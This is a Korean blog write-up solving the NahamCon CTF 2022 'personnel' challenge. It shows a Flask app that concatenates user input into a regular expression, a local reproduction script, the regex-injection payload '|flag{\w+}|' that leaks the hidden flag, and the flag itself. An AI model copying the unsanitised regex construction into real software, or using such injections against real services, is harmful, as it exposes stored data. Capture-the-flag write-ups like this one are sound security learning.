본문 바로가기
CTF

[NahamCon_CTF_2022] personnel

by skyepodium 2022. 6. 6.

1. 개요

Regex Injection 문제

 

2. 풀이

1) 분석

받은 파일을 열어보면 DataBase는 사용하지 않습는다. SQL Injection 문제가 아니고 정규표현식 문제입니다.

#!/usr/bin/env python

from flask import Flask, Response, abort, request, render_template
import random
from string import *
import re

app = Flask(__name__)

flag = open("flag.txt").read()
users = open("users.txt").read()

users += flag


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("lookup.html")
    if request.method == "POST":
        name = request.form["name"]
        setting = int(request.form["setting"])
        if name:
            if name[0].isupper():
                name = name[1:]

        results = re.findall(r"[A-Z][a-z]*?" + name + r"[a-z]*?\n", users, setting)
        results = [x.strip() for x in results if x or len(x) > 1]

        return render_template("lookup.html", passed_results=True, results=results)


if __name__ == "__main__":
    app.run()

2) exploit

로컬에 똑같은 유사한 코드를 만들었습니다. r"[A-Z][a-z]*?" + name + r"[a-z]*?\n" 이부분의 패턴은 플래그 포맷 flag\{[0-9a-f]{32}\} 으로 통과할 수 없기 때문에

| 조건을 사용해서 bypass 했습니다. "|flag{\w+}|"

import re

users = "Volans\nVulpecula\nflag{b7e2a32f5ae629dcfb1ac210d1f0c032}\n"
name = "|flag{\w+}|"
setting = 0

if name:
    if name[0].isupper():
        name = name[1:]

pattern = r"[A-Z][a-z]*?" + name + r"[a-z]*?\n"

results = re.findall(pattern, users, setting)
results = [x.strip() for x in results if x or len(x) > 1]

print('results', results)

3) result

 

3. flag

flag{f0e659b45b507d8633065bbd2832c627}

'CTF' 카테고리의 다른 글

[b01lers CTF] I Love Java  (0) 2022.06.06
[NahamCon_CTF_2022] extravagant  (0) 2022.06.06
[Patriot CTF] Spongebob  (0) 2022.06.06
[Patriot CTF] Rock and Roll  (0) 2022.06.06
[Patriot CTF] No Postcode Envy  (0) 2022.06.06